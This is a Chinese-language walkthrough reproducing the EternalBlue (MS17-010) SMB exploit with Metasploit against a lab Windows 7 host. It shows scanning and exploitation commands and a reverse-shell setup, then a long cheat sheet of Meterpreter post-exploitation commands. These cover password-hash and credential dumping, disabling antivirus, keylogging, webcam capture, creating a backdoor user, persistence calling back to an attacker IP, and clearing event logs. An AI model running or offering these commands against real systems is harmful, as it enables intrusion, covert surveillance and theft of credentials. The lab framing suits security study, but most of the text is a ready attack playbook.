漏洞描述:

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

影响版本:

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

复现环境:

攻击机:Linux Kali (192.168.8.242)

靶机:Windows7 x64 (192.168.8.172)

复现过程:

主机发现

用nmap探测本网段存活主机 nmap 192.168.8.17

探测到存活主机ip,并探测到开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。

进入MSF框架

执行msfconsole

2

ms17-010代码 msf6 > search ms17_010

3

在这里可以看到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,前者扫描漏洞,后者进行攻击。

使用ms17-010扫描模块

msf6 > use auxiliary/scanner/smb/smb_ms17_010

查看模块需要配置的参数 show options

4

在Required一栏中显示yes的需要填写Current Setting项

set rhosts 192.168.8.172

执行扫描 run

5

显示可能存有永恒之蓝漏洞。

使用ms17-010攻击模块

msf6 > use exploit/windows/smb/ms17_010_eternalblue

查看模块需要配置的参数 show options

6

同理,设置目标IP :set rhosts 192.168.8.172

设置用于接收从目标机弹回来的shell:set LHOST 192.168.1.11

执行攻击 run

7

攻击成功!

后渗透阶段

使用shell可以进入被攻击机的Windows shell,但会有乱码。使用chcp 65001,改变代码页(65001为UTF-8的代码页)即恢复正常。

8

使用screenshot进行截屏

9

想从目标主机shell退出到 meterpreter ,输入:exit

要想从 meterpreter 退出到MSF框架,输入:background

更多操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sysinfo             #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
1
2
3
4
5
6
7
8
9
run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash